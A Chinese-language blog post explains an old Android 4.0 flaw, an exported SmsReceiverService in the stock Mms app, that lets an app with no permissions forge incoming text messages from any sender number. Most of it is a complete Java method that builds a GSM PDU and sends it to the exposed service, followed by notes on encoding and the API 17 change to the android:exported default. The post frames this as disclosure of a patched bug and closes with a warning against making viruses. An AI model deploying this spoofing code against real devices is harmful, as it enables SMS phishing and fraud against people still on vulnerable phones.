Android系统的阿基里斯之踵：伪造短信篇

‍‍ 导读：Android系统的日益强大，但Android平台的安全问题一直是其“阿基里斯之踵”。据统计，2012 年有 79% 的恶意软件都寄生于 Andriod 之上，此数字比 2011 年更高出 12.3%。相较之下，iOS 平台内的恶意软件仅占总量的 0.7%，继续成为最安全的移动系统。 本文利用android4.0的一个原生漏洞来伪造短信。无须声明任何权限即可伪造发送方为任何号码的短信给用户。 ‍‍

android4.0发布已经是很久很久很久很久以前的事情了，这个漏洞早就报了出来，之所以现在才写这篇文章，就是觉得，该升级的基本已经都升级了，该打补丁的基本都已经打了补丁，所以现在差不多是时候了。

原生android4.0系统中，Mms.apk的manifest有这样一段

1. <service android:name=".transaction.SmsReceiverService"  android:exported="true" />

android:exported="true"，意味着SmsReceiverService这个Service暴露给了大家，也让病毒有机可乘

在stackoverflow上面，有人早就给出了伪造短信的方案，我们在这里就直接使用人家的代码好了

http://stackoverflow.com/questions/12335642/create-pdu-for-android-that-works-with-smsmessage-createfrompdu-gsm-3gpp

其中UCS-2处理是我新加上去的

private static void createFakeSms(Context context, String sender,  
        String body) {  
    byte[] pdu = null;  
    byte[] scBytes = PhoneNumberUtils  
            .networkPortionToCalledPartyBCD("0000000000");  
    byte[] senderBytes = PhoneNumberUtils  
            .networkPortionToCalledPartyBCD(sender);  
    int lsmcs = scBytes.length;  
    // 时间处理，包括年月日时分秒以及时区和夏令时  
    byte[] dateBytes = new byte[7];  
    Calendar calendar = new GregorianCalendar();  
    dateBytes[0] = SmsUtil  
            .reverseByte((byte) (calendar.get(Calendar.YEAR)));  
    dateBytes[1] = SmsUtil  
            .reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));  
    dateBytes[2] = SmsUtil.reverseByte((byte) (calendar  
            .get(Calendar.DAY_OF_MONTH)));  
    dateBytes[3] = SmsUtil.reverseByte((byte) (calendar  
            .get(Calendar.HOUR_OF_DAY)));  
    dateBytes[4] = SmsUtil.reverseByte((byte) (calendar  
            .get(Calendar.MINUTE)));  
    dateBytes[5] = SmsUtil.reverseByte((byte) (calendar  
            .get(Calendar.SECOND)));  
    dateBytes[6] = SmsUtil  
            .reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar  
                    .get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));  
    try {  
        ByteArrayOutputStream bo = new ByteArrayOutputStream();  
        bo.write(lsmcs);// 短信服务中心长度  
        bo.write(scBytes);// 短信服务中心号码  
        bo.write(0x04);  
        bo.write((byte) sender.length());// 发送方号码长度  
        bo.write(senderBytes);// 发送方号码  
        bo.write(0x00);// 协议标示，00为普通GSM，点对点方式  
        try {  
            String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";  
            Class<?> cReflectedNFCExtras = Class  
                    .forName(sReflectedClassName);  
            Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod(  
                    "stringToGsm7BitPacked", new Class[] { String.class });  
            stringToGsm7BitPacked.setAccessible(true);  
            byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,  
                    body);  
  
            bo.write(0x00); // encoding: 0 for default 7bit  
            bo.write(dateBytes);  
            bo.write(bodybytes);  
        } catch (Exception e) {  
            Log.i(TAG, "sender:" + sender + "\nbody:" + body, e);  
            // 下面是UCS-2编码的处理，中文短信就需要用此种方式  
            bo.write(0x08); // encoding: 8 for UCS-2  
            bo.write(dateBytes);  
            bo.write(SmsUtil.encodeUCS2(body, null));// 其中encodeUCS2是从系统中复制过来的，并不是我写的  
            // 源码具体位置在  
            // frameworks/base/telephony/java/com/android/internal/telephony/gsm/SmsMessage.java  
        }  
  
        pdu = bo.toByteArray();  
    } catch (IOException e) {  
        Log.e(TAG, "sender:" + sender + "\nbody:" + body, e);  
    }  
    // 上面的部分都是组织短信数据，下面是将数据传递给SmsReceiverService，让它来帮我们发送。虽然我们的程序没有发送短信的权限，但是人家有啊！  
    Intent intent = new Intent();  
    intent.setClassName("com.android.mms",  
            "com.android.mms.transaction.SmsReceiverService");  
    intent.setAction("android.provider.Telephony.SMS_RECEIVED");  
    intent.putExtra("pdus", new Object[] { pdu });  
    intent.putExtra("format", "3gpp");  
    context.startService(intent);  
}  
  
public static byte reverseByte(byte b) {  
    return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);  
}

我们看看在SmsMessage.java中的getSubmitPdu处理user data的方式

1. // User Data (and length)  
   byte[] userData;  
   try {  
       if (encoding == ENCODING_7BIT) {  
           userData = GsmAlphabet.stringToGsm7BitPackedWithHeader(message, header,  
                   languageTable, languageShiftTable);  
       } else { //assume UCS-2  
           try {  
               userData = encodeUCS2(message, header);  
           } catch(UnsupportedEncodingException uex) {  
               Log.e(LOG_TAG,  
                       "Implausible UnsupportedEncodingException ",  
                       uex);  
               return null;  
           }  
       }  
   } catch (EncodeException ex) {  
       // Encoding to the 7-bit alphabet failed. Let's see if we can  
       // send it as a UCS-2 encoded message  
       try {  
           userData = encodeUCS2(message, header);  
           encoding = ENCODING_16BIT;  
       } catch(UnsupportedEncodingException uex) {  
           Log.e(LOG_TAG,  
                   "Implausible UnsupportedEncodingException ",  
                   uex);  
           return null;  
       }  
   }

先看是不是7-bit编码方式，如果不是，那么就假设是UCS-2编码，如果抛出EncodeException，那么也尝试UCS-2编码

下面附上encodeUCS2代码

1. /** 
    * Packs header and UCS-2 encoded message. Includes TP-UDL & TP-UDHL if 
    * necessary 
    *  
    * @return 
    * @throws UnsupportedEncodingException 
    */  
   public static byte[] encodeUCS2(String message, byte[] header)  
           throws UnsupportedEncodingException {  
       byte[] userData, textPart;  
       textPart = message.getBytes("utf-16be");  
     
       if (header != null) {  
           // Need 1 byte for UDHL  
           userData = new byte[header.length + textPart.length + 1];  
     
           userData[0] = (byte) header.length;  
           System.arraycopy(header, 0, userData, 1, header.length);  
           System.arraycopy(textPart, 0, userData, header.length + 1,  
                   textPart.length);  
       } else {  
           userData = textPart;  
       }  
       byte[] ret = new byte[userData.length + 1];  
       ret[0] = (byte) (userData.length & 0xff);  
       System.arraycopy(userData, 0, ret, 1, userData.length);  
       return ret;  
   }

现在，我们就可以在原生android4.0上面干坏事了，如果你在真机上面发现上面的代码不起作用，那么很有可能人家已经修复了漏洞，所以你也别总想着干坏事。

不过……HTC G14上面的漏洞还是存在的，起码前两个月是这个样子，没关系，我已经换了手机……

另外值得一提是android:exported这个属性

我们可以在android官方文档中看到如下说明

http://developer.android.com/about/versions/jelly-bean.html#42-platform-tech

ContentProvider default configuration — Applications which target API level 17 will have “export” set to “false” by default for each ContentProvider, reducing default attack surface for applications.

这意味着什么呢？

之前，你可以不用显式设置export这个属性，别人也可以调用你的ContentProvider，但是你的应用放到了Android4.2（API17）上面，那么别人再调用你的ContentProvider的时候就会抛出异常，进而导致应用崩溃

这是时候，我们就必须在manifest文件中显式给export赋值为true

之前就遇到了这样的问题，应用放在4.1上面没有问题，放到4.2上就crash，调查了半天，才发现原因在这里

看来关键的属性还是显式声明的好，因为没准哪一天，它的默认值就变了

下面是一些相关内容

GSM 03.38 from Wikipedia

请大家不要用root的手机随意下载软件，更不要以任何借口制造任何病毒！